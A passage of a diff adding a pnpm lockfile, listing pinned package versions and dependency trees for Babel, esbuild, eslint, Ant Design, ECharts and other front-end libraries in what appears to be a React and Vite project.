7.28.2 + convert-source-map: 2.0.0 + debug: 4.4.1 + gensync: 1.0.0-beta.2 + json5: 2.2.3 + semver: 6.3.1 + transitivePeerDependencies: + - supports-color + + '@babel/generator@7.28.0': + dependencies: + '@babel/parser': 7.28.0 + '@babel/types': 7.28.2 + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.30 + jsesc: 3.1.0 + + '@babel/helper-compilation-targets@7.27.2': + dependencies: + '@babel/compat-data': 7.28.0 + '@babel/helper-validator-option': 7.27.1 + browserslist: 4.25.2 + lru-cache: 5.1.1 + semver: 6.3.1 + + '@babel/helper-globals@7.28.0': {} + + '@babel/helper-module-imports@7.27.1': + dependencies: + '@babel/traverse': 7.28.0 + '@babel/types': 7.28.2 + transitivePeerDependencies: + - supports-color + + '@babel/helper-module-transforms@7.27.3(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-module-imports': 7.27.1 + '@babel/helper-validator-identifier': 7.27.1 + '@babel/traverse': 7.28.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-plugin-utils@7.27.1': {} + + '@babel/helper-string-parser@7.27.1': {} + + '@babel/helper-validator-identifier@7.27.1': {} + + '@babel/helper-validator-option@7.27.1': {} + + '@babel/helpers@7.28.2': + dependencies: + '@babel/template': 7.27.2 + '@babel/types': 7.28.2 + + '@babel/parser@7.28.0': + dependencies: + '@babel/types': 7.28.2 + + '@babel/plugin-transform-react-jsx-self@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-react-jsx-source@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/runtime@7.28.2': {} + + '@babel/template@7.27.2': + dependencies: + '@babel/code-frame': 7.27.1 + '@babel/parser': 7.28.0 + '@babel/types': 7.28.2 + + '@babel/traverse@7.28.0': + dependencies: + '@babel/code-frame': 7.27.1 + '@babel/generator': 7.28.0 + '@babel/helper-globals': 7.28.0 + '@babel/parser': 7.28.0 + '@babel/template': 7.27.2 + '@babel/types': 7.28.2 + debug: 4.4.1 + transitivePeerDependencies: + - supports-color + + '@babel/types@7.28.2': + dependencies: + '@babel/helper-string-parser': 7.27.1 + '@babel/helper-validator-identifier': 7.27.1 + + '@emotion/hash@0.8.0': {} + + '@emotion/unitless@0.7.5': {} + + '@esbuild/aix-ppc64@0.25.8': + optional: true + + '@esbuild/android-arm64@0.25.8': + optional: true + + '@esbuild/android-arm@0.25.8': + optional: true + + '@esbuild/android-x64@0.25.8': + optional: true + + '@esbuild/darwin-arm64@0.25.8': + optional: true + + '@esbuild/darwin-x64@0.25.8': + optional: true + + '@esbuild/freebsd-arm64@0.25.8': + optional: true + + '@esbuild/freebsd-x64@0.25.8': + optional: true + + '@esbuild/linux-arm64@0.25.8': + optional: true + + '@esbuild/linux-arm@0.25.8': + optional: true + + '@esbuild/linux-ia32@0.25.8': + optional: true + + '@esbuild/linux-loong64@0.25.8': + optional: true + + '@esbuild/linux-mips64el@0.25.8': + optional: true + + '@esbuild/linux-ppc64@0.25.8': + optional: true + + '@esbuild/linux-riscv64@0.25.8': + optional: true + + '@esbuild/linux-s390x@0.25.8': + optional: true + + '@esbuild/linux-x64@0.25.8': + optional: true + + '@esbuild/netbsd-arm64@0.25.8': + optional: true + + '@esbuild/netbsd-x64@0.25.8': + optional: true + + '@esbuild/openbsd-arm64@0.25.8': + optional: true + + '@esbuild/openbsd-x64@0.25.8': + optional: true + + '@esbuild/openharmony-arm64@0.25.8': + optional: true + + '@esbuild/sunos-x64@0.25.8': + optional: true + + '@esbuild/win32-arm64@0.25.8': + optional: true + + '@esbuild/win32-ia32@0.25.8': + optional: true + + '@esbuild/win32-x64@0.25.8': + optional: true + + '@eslint-community/eslint-utils@4.7.0(eslint@8.57.1)': + dependencies: + eslint: 8.57.1 + eslint-visitor-keys: 3.4.3 + + '@eslint-community/regexpp@4.12.1': {} + + '@eslint/eslintrc@2.1.4': + dependencies: + ajv: 6.12.6 + debug: 4.4.1 + espree: 9.6.1 + globals: 13.24.0 + ignore: 5.3.2 + import-fresh: 3.3.1 + js-yaml: 4.1.0 + minimatch: 3.1.2 + strip-json-comments: 3.1.1 + transitivePeerDependencies: + - supports-color + + '@eslint/js@8.57.1': {} + + '@floating-ui/core@1.7.3': + dependencies: + '@floating-ui/utils': 0.2.10 + + '@floating-ui/dom@1.7.3': + dependencies: + '@floating-ui/core': 1.7.3 + '@floating-ui/utils': 0.2.10 + + '@floating-ui/utils@0.2.10': {} + + '@humanwhocodes/config-array@0.13.0': + dependencies: + '@humanwhocodes/object-schema': 2.0.3 + debug: 4.4.1 + minimatch: 3.1.2 + transitivePeerDependencies: + - supports-color + + '@humanwhocodes/module-importer@1.0.1': {} + + '@humanwhocodes/object-schema@2.0.3': {} + + '@jridgewell/gen-mapping@0.3.13': + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/trace-mapping': 0.3.30 + + '@jridgewell/resolve-uri@3.1.2': {} + + '@jridgewell/sourcemap-codec@1.5.5': {} + + '@jridgewell/trace-mapping@0.3.30': + dependencies: + '@jridgewell/resolve-uri': 3.1.2 + '@jridgewell/sourcemap-codec': 1.5.5 + + '@nodelib/fs.scandir@2.1.5': + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 + + '@nodelib/fs.stat@2.0.5': {} + + '@nodelib/fs.walk@1.2.8': + dependencies: + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.19.1 + + '@parcel/watcher-android-arm64@2.5.1': + optional: true + + '@parcel/watcher-darwin-arm64@2.5.1': + optional: true + + '@parcel/watcher-darwin-x64@2.5.1': + optional: true + + '@parcel/watcher-freebsd-x64@2.5.1': + optional: true + + '@parcel/watcher-linux-arm-glibc@2.5.1': + optional: true + + '@parcel/watcher-linux-arm-musl@2.5.1': + optional: true + + '@parcel/watcher-linux-arm64-glibc@2.5.1': + optional: true + + '@parcel/watcher-linux-arm64-musl@2.5.1': + optional: true + + '@parcel/watcher-linux-x64-glibc@2.5.1': + optional: true + + '@parcel/watcher-linux-x64-musl@2.5.1': + optional: true + + '@parcel/watcher-win32-arm64@2.5.1': + optional: true + + '@parcel/watcher-win32-ia32@2.5.1': + optional: true + + '@parcel/watcher-win32-x64@2.5.1': + optional: true + + '@parcel/watcher@2.5.1': + dependencies: + detect-libc: 1.0.3 + is-glob: 4.0.3 + micromatch: 4.0.8 + node-addon-api: 7.1.1 + optionalDependencies: + '@parcel/watcher-android-arm64': 2.5.1 + '@parcel/watcher-darwin-arm64': 2.5.1 + '@parcel/watcher-darwin-x64': 2.5.1 + '@parcel/watcher-freebsd-x64': 2.5.1 + '@parcel/watcher-linux-arm-glibc': 2.5.1 + '@parcel/watcher-linux-arm-musl': 2.5.1 + '@parcel/watcher-linux-arm64-glibc': 2.5.1 + '@parcel/watcher-linux-arm64-musl': 2.5.1 + '@parcel/watcher-linux-x64-glibc': 2.5.1 + '@parcel/watcher-linux-x64-musl': 2.5.1 + '@parcel/watcher-win32-arm64': 2.5.1 + '@parcel/watcher-win32-ia32': 2.5.1 + '@parcel/watcher-win32-x64': 2.5.1 + optional: true + + '@pkgr/core@0.2.9': {} + + '@rc-component/async-validator@5.0.4': + dependencies: + '@babel/runtime': 7.28.2 + + '@rc-component/color-picker@2.0.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1)': + dependencies: + '@ant-design/fast-color': 2.0.6 + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + '@rc-component/context@1.4.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1)': + dependencies: + '@babel/runtime': 7.28.2 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + '@rc-component/mini-decimal@1.1.0': + dependencies: + '@babel/runtime': 7.28.2 + + '@rc-component/mutate-observer@1.1.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1)': + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + '@rc-component/portal@1.1.2(react-dom@18.3.1(react@18.3.1))(react@18.3.1)': + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + '@rc-component/qrcode@1.0.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1)': + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + '@rc-component/tour@1.15.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1)': + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/portal': 1.1.2(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + '@rc-component/trigger': 2.3.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + '@rc-component/trigger@2.3.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1)': + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/portal': 1.1.2(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + classnames: 2.5.1 + rc-motion: 2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-resize-observer: 1.4.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + '@react-spring/animated@9.6.1(react@18.3.1)': + dependencies: + '@react-spring/shared': 9.6.1(react@18.3.1) + '@react-spring/types': 9.6.1 + react: 18.3.1 + + '@react-spring/core@9.6.1(react@18.3.1)': + dependencies: + '@react-spring/animated': 9.6.1(react@18.3.1) + '@react-spring/rafz': 9.6.1 + '@react-spring/shared': 9.6.1(react@18.3.1) + '@react-spring/types': 9.6.1 + react: 18.3.1 + + '@react-spring/rafz@9.6.1': {} + + '@react-spring/shared@9.6.1(react@18.3.1)': + dependencies: + '@react-spring/rafz': 9.6.1 + '@react-spring/types': 9.6.1 + react: 18.3.1 + + '@react-spring/types@9.6.1': {} + + '@react-spring/web@9.6.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1)': + dependencies: + '@react-spring/animated': 9.6.1(react@18.3.1) + '@react-spring/core': 9.6.1(react@18.3.1) + '@react-spring/shared': 9.6.1(react@18.3.1) + '@react-spring/types': 9.6.1 + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + '@remix-run/router@1.23.0': {} + + '@rolldown/pluginutils@1.0.0-beta.27': {} + + '@rollup/rollup-android-arm-eabi@4.46.2': + optional: true + + '@rollup/rollup-android-arm64@4.46.2': + optional: true + + '@rollup/rollup-darwin-arm64@4.46.2': + optional: true + + '@rollup/rollup-darwin-x64@4.46.2': + optional: true + + '@rollup/rollup-freebsd-arm64@4.46.2': + optional: true + + '@rollup/rollup-freebsd-x64@4.46.2': + optional: true + + '@rollup/rollup-linux-arm-gnueabihf@4.46.2': + optional: true + + '@rollup/rollup-linux-arm-musleabihf@4.46.2': + optional: true + + '@rollup/rollup-linux-arm64-gnu@4.46.2': + optional: true + + '@rollup/rollup-linux-arm64-musl@4.46.2': + optional: true + + '@rollup/rollup-linux-loongarch64-gnu@4.46.2': + optional: true + + '@rollup/rollup-linux-ppc64-gnu@4.46.2': + optional: true + + '@rollup/rollup-linux-riscv64-gnu@4.46.2': + optional: true + + '@rollup/rollup-linux-riscv64-musl@4.46.2': + optional: true + + '@rollup/rollup-linux-s390x-gnu@4.46.2': + optional: true + + '@rollup/rollup-linux-x64-gnu@4.46.2': + optional: true + + '@rollup/rollup-linux-x64-musl@4.46.2': + optional: true + + '@rollup/rollup-win32-arm64-msvc@4.46.2': + optional: true + + '@rollup/rollup-win32-ia32-msvc@4.46.2': + optional: true + + '@rollup/rollup-win32-x64-msvc@4.46.2': + optional: true + + '@types/babel__core@7.20.5': + dependencies: + '@babel/parser': 7.28.0 + '@babel/types': 7.28.2 + '@types/babel__generator': 7.27.0 + '@types/babel__template': 7.4.4 + '@types/babel__traverse': 7.28.0 + + '@types/babel__generator@7.27.0': + dependencies: + '@babel/types': 7.28.2 + + '@types/babel__template@7.4.4': + dependencies: + '@babel/parser': 7.28.0 + '@babel/types': 7.28.2 + + '@types/babel__traverse@7.28.0': + dependencies: + '@babel/types': 7.28.2 + + '@types/estree@1.0.8': {} + + '@types/node@24.2.1': + dependencies: + undici-types: 7.10.0 + + '@types/react-dom@19.1.7(@types/react@19.1.10)': + dependencies: + '@types/react': 19.1.10 + + '@types/react@19.1.10': + dependencies: + csstype: 3.1.3 + + '@typescript-eslint/eslint-plugin@7.18.0(@typescript-eslint/parser@7.18.0(eslint@8.57.1)(typescript@5.9.2))(eslint@8.57.1)(typescript@5.9.2)': + dependencies: + '@eslint-community/regexpp': 4.12.1 + '@typescript-eslint/parser': 7.18.0(eslint@8.57.1)(typescript@5.9.2) + '@typescript-eslint/scope-manager': 7.18.0 + '@typescript-eslint/type-utils': 7.18.0(eslint@8.57.1)(typescript@5.9.2) + '@typescript-eslint/utils': 7.18.0(eslint@8.57.1)(typescript@5.9.2) + '@typescript-eslint/visitor-keys': 7.18.0 + eslint: 8.57.1 + graphemer: 1.4.0 + ignore: 5.3.2 + natural-compare: 1.4.0 + ts-api-utils: 1.4.3(typescript@5.9.2) + optionalDependencies: + typescript: 5.9.2 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/parser@7.18.0(eslint@8.57.1)(typescript@5.9.2)': + dependencies: + '@typescript-eslint/scope-manager': 7.18.0 + '@typescript-eslint/types': 7.18.0 + '@typescript-eslint/typescript-estree': 7.18.0(typescript@5.9.2) + '@typescript-eslint/visitor-keys': 7.18.0 + debug: 4.4.1 + eslint: 8.57.1 + optionalDependencies: + typescript: 5.9.2 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/scope-manager@7.18.0': + dependencies: + '@typescript-eslint/types': 7.18.0 + '@typescript-eslint/visitor-keys': 7.18.0 + + '@typescript-eslint/type-utils@7.18.0(eslint@8.57.1)(typescript@5.9.2)': + dependencies: + '@typescript-eslint/typescript-estree': 7.18.0(typescript@5.9.2) + '@typescript-eslint/utils': 7.18.0(eslint@8.57.1)(typescript@5.9.2) + debug: 4.4.1 + eslint: 8.57.1 + ts-api-utils: 1.4.3(typescript@5.9.2) + optionalDependencies: + typescript: 5.9.2 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/types@7.18.0': {} + + '@typescript-eslint/typescript-estree@7.18.0(typescript@5.9.2)': + dependencies: + '@typescript-eslint/types': 7.18.0 + '@typescript-eslint/visitor-keys': 7.18.0 + debug: 4.4.1 + globby: 11.1.0 + is-glob: 4.0.3 + minimatch: 9.0.5 + semver: 7.7.2 + ts-api-utils: 1.4.3(typescript@5.9.2) + optionalDependencies: + typescript: 5.9.2 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/utils@7.18.0(eslint@8.57.1)(typescript@5.9.2)': + dependencies: + '@eslint-community/eslint-utils': 4.7.0(eslint@8.57.1) + '@typescript-eslint/scope-manager': 7.18.0 + '@typescript-eslint/types': 7.18.0 + '@typescript-eslint/typescript-estree': 7.18.0(typescript@5.9.2) + eslint: 8.57.1 + transitivePeerDependencies: + - supports-color + - typescript + + '@typescript-eslint/visitor-keys@7.18.0': + dependencies: + '@typescript-eslint/types': 7.18.0 + eslint-visitor-keys: 3.4.3 + + '@ungap/structured-clone@1.3.0': {} + + '@use-gesture/core@10.3.0': {} + + '@use-gesture/react@10.3.0(react@18.3.1)': + dependencies: + '@use-gesture/core': 10.3.0 + react: 18.3.1 + + '@vitejs/plugin-react@4.7.0(vite@7.1.2(@types/node@24.2.1)(sass@1.90.0))': + dependencies: + '@babel/core': 7.28.0 + '@babel/plugin-transform-react-jsx-self': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-react-jsx-source': 7.27.1(@babel/core@7.28.0) + '@rolldown/pluginutils': 1.0.0-beta.27 + '@types/babel__core': 7.20.5 + react-refresh: 0.17.0 + vite: 7.1.2(@types/node@24.2.1)(sass@1.90.0) + transitivePeerDependencies: + - supports-color + + acorn-jsx@5.3.2(acorn@8.15.0): + dependencies: + acorn: 8.15.0 + + acorn@8.15.0: {} + + ahooks@3.9.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + dayjs: 1.11.13 + intersection-observer: 0.12.2 + js-cookie: 3.0.5 + lodash: 4.17.21 + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + react-fast-compare: 3.2.2 + resize-observer-polyfill: 1.5.1 + screenfull: 5.2.0 + tslib: 2.8.1 + + ajv@6.12.6: + dependencies: + fast-deep-equal: 3.1.3 + fast-json-stable-stringify: 2.1.0 + json-schema-traverse: 0.4.1 + uri-js: 4.4.1 + + ansi-regex@5.0.1: {} + + ansi-styles@4.3.0: + dependencies: + color-convert: 2.0.1 + + antd-mobile-icons@0.3.0: {} + + antd-mobile-v5-count@1.0.1: {} + + antd-mobile@5.40.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@floating-ui/dom': 1.7.3 + '@rc-component/mini-decimal': 1.1.0 + '@react-spring/web': 9.6.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + '@use-gesture/react': 10.3.0(react@18.3.1) + ahooks: 3.9.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + antd-mobile-icons: 0.3.0 + antd-mobile-v5-count: 1.0.1 + classnames: 2.5.1 + dayjs: 1.11.13 + deepmerge: 4.3.1 + nano-memoize: 3.0.16 + rc-field-form: 1.44.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-segmented: 2.4.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + react-fast-compare: 3.2.2 + react-is: 18.3.1 + runes2: 1.1.4 + staged-components: 1.1.3(react@18.3.1) + tslib: 2.8.1 + use-sync-external-store: 1.5.0(react@18.3.1) + + antd@5.27.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@ant-design/colors': 7.2.1 + '@ant-design/cssinjs': 1.24.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + '@ant-design/cssinjs-utils': 1.1.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + '@ant-design/fast-color': 2.0.6 + '@ant-design/icons': 5.6.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + '@ant-design/react-slick': 1.1.2(react@18.3.1) + '@babel/runtime': 7.28.2 + '@rc-component/color-picker': 2.0.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + '@rc-component/mutate-observer': 1.1.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + '@rc-component/qrcode': 1.0.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + '@rc-component/tour': 1.15.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + '@rc-component/trigger': 2.3.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + classnames: 2.5.1 + copy-to-clipboard: 3.3.3 + dayjs: 1.11.13 + rc-cascader: 3.34.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-checkbox: 3.5.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-collapse: 3.9.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-dialog: 9.6.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-drawer: 7.3.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-dropdown: 4.2.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-field-form: 2.7.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-image: 7.12.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-input: 1.8.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-input-number: 9.5.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-mentions: 2.20.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-menu: 9.16.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-motion: 2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-notification: 5.6.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-pagination: 5.1.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-picker: 4.11.3(dayjs@1.11.13)(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-progress: 4.0.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-rate: 2.13.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-resize-observer: 1.4.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-segmented: 2.7.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-select: 14.16.8(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-slider: 11.1.8(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-steps: 6.0.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-switch: 4.1.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-table: 7.51.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-tabs: 15.7.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-textarea: 1.10.2(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-tooltip: 6.4.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-tree: 5.13.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-tree-select: 5.27.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-upload: 4.9.2(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + scroll-into-view-if-needed: 3.1.0 + throttle-debounce: 5.0.2 + transitivePeerDependencies: + - date-fns + - luxon + - moment + + argparse@2.0.1: {} + + array-buffer-byte-length@1.0.2: + dependencies: + call-bound: 1.0.4 + is-array-buffer: 3.0.5 + + array-includes@3.1.9: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + is-string: 1.1.1 + math-intrinsics: 1.1.0 + + array-union@2.1.0: {} + + array.prototype.findlast@1.2.5: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + es-shim-unscopables: 1.1.0 + + array.prototype.flat@1.3.3: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-shim-unscopables: 1.1.0 + + array.prototype.flatmap@1.3.3: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-shim-unscopables: 1.1.0 + + array.prototype.tosorted@1.1.4: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-errors: 1.3.0 + es-shim-unscopables: 1.1.0 + + arraybuffer.prototype.slice@1.0.4: + dependencies: + array-buffer-byte-length: 1.0.2 + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + is-array-buffer: 3.0.5 + + async-function@1.0.0: {} + + async-validator@4.2.5: {} + + asynckit@0.4.0: {} + + available-typed-arrays@1.0.7: + dependencies: + possible-typed-array-names: 1.1.0 + + axios@1.11.0: + dependencies: + follow-redirects: 1.15.11 + form-data: 4.0.4 + proxy-from-env: 1.1.0 + transitivePeerDependencies: + - debug + + balanced-match@1.0.2: {} + + brace-expansion@1.1.12: + dependencies: + balanced-match: 1.0.2 + concat-map: 0.0.1 + + brace-expansion@2.0.2: + dependencies: + balanced-match: 1.0.2 + + braces@3.0.3: + dependencies: + fill-range: 7.1.1 + + browserslist@4.25.2: + dependencies: + caniuse-lite: 1.0.30001734 + electron-to-chromium: 1.5.200 + node-releases: 2.0.19 + update-browserslist-db: 1.1.3(browserslist@4.25.2) + + call-bind-apply-helpers@1.0.2: + dependencies: + es-errors: 1.3.0 + function-bind: 1.1.2 + + call-bind@1.0.8: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + get-intrinsic: 1.3.0 + set-function-length: 1.2.2 + + call-bound@1.0.4: + dependencies: + call-bind-apply-helpers: 1.0.2 + get-intrinsic: 1.3.0 + + callsites@3.1.0: {} + + caniuse-lite@1.0.30001734: {} + + chalk@4.1.2: + dependencies: + ansi-styles: 4.3.0 + supports-color: 7.2.0 + + chokidar@4.0.3: + dependencies: + readdirp: 4.1.2 + + classnames@2.5.1: {} + + color-convert@2.0.1: + dependencies: + color-name: 1.1.4 + + color-name@1.1.4: {} + + combined-stream@1.0.8: + dependencies: + delayed-stream: 1.0.0 + + compute-scroll-into-view@3.1.1: {} + + concat-map@0.0.1: {} + + convert-source-map@2.0.0: {} + + copy-text-to-clipboard@3.2.0: {} + + copy-to-clipboard@3.3.3: + dependencies: + toggle-selection: 1.0.6 + + core-js@3.45.0: {} + + cross-spawn@7.0.6: + dependencies: + path-key: 3.1.1 + shebang-command: 2.0.0 + which: 2.0.2 + + csstype@3.1.3: {} + + data-view-buffer@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-data-view: 1.0.2 + + data-view-byte-length@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-data-view: 1.0.2 + + data-view-byte-offset@1.0.1: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-data-view: 1.0.2 + + dayjs@1.11.13: {} + + debug@4.4.1: + dependencies: + ms: 2.1.3 + + deep-is@0.1.4: {} + + deepmerge@4.3.1: {} + + define-data-property@1.1.4: + dependencies: + es-define-property: 1.0.1 + es-errors: 1.3.0 + gopd: 1.2.0 + + define-properties@1.2.1: + dependencies: + define-data-property: 1.1.4 + has-property-descriptors: 1.0.2 + object-keys: 1.1.1 + + delayed-stream@1.0.0: {} + + detect-libc@1.0.3: + optional: true + + dir-glob@3.0.1: + dependencies: + path-type: 4.0.0 + + doctrine@2.1.0: + dependencies: + esutils: 2.0.3 + + doctrine@3.0.0: + dependencies: + esutils: 2.0.3 + + dunder-proto@1.0.1: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-errors: 1.3.0 + gopd: 1.2.0 + + echarts-for-react@3.0.2(echarts@5.6.0)(react@18.3.1): + dependencies: + echarts: 5.6.0 + fast-deep-equal: 3.1.3 + react: 18.3.1 + size-sensor: 1.0.2 + + echarts@5.6.0: + dependencies: + tslib: 2.3.0 + zrender: 5.6.1 + + electron-to-chromium@1.5.200: {} + + es-abstract@1.24.0: + dependencies: + array-buffer-byte-length: 1.0.2 + arraybuffer.prototype.slice: 1.0.4 + available-typed-arrays: 1.0.7 + call-bind: 1.0.8 + call-bound: 1.0.4 + data-view-buffer: 1.0.2 + data-view-byte-length: 1.0.2 + data-view-byte-offset: 1.0.1 + es-define-property: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + es-set-tostringtag: 2.1.0 + es-to-primitive: 1.3.0 + function.prototype.name: 1.1.8 + get-intrinsic: 1.3.0 + get-proto: 1.0.1 + get-symbol-description: 1.1.0 + globalthis: 1.0.4 + gopd: 1.2.0 + has-property-descriptors: 1.0.2 + has-proto: 1.2.0 + has-symbols: 1.1.0 + hasown: 2.0.2 + internal-slot: 1.1.0 + is-array-buffer: 3.0.5 + is-callable: 1.2.7 + is-data-view: 1.0.2 + is-negative-zero: 2.0.3 + is-regex: 1.2.1 + is-set: 2.0.3 + is-shared-array-buffer: 1.0.4 + is-string: 1.1.1 + is-typed-array: 1.1.15 + is-weakref: 1.1.1 + math-intrinsics: 1.1.0 + object-inspect: 1.13.4 + object-keys: 1.1.1 + object.assign: 4.1.7 + own-keys: 1.0.1 + regexp.prototype.flags: 1.5.4 + safe-array-concat: 1.1.3 + safe-push-apply: 1.0.0 + safe-regex-test: 1.1.0 + set-proto: 1.0.0 + stop-iteration-iterator: 1.1.0 + string.prototype.trim: 1.2.10 + string.prototype.trimend: 1.0.9 + string.prototype.trimstart: 1.0.8 + typed-array-buffer: 1.0.3 + typed-array-byte-length: 1.0.3 + typed-array-byte-offset: 1.0.4 + typed-array-length: 1.0.7 + unbox-primitive: 1.1.0 + which-typed-array: 1.1.19 + + es-define-property@1.0.1: {} + + es-errors@1.3.0: {} + + es-iterator-helpers@1.2.1: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-errors: 1.3.0 + es-set-tostringtag: 2.1.0 + function-bind: 1.1.2 + get-intrinsic: 1.3.0 + globalthis: 1.0.4 + gopd: 1.2.0 + has-property-descriptors: 1.0.2 + 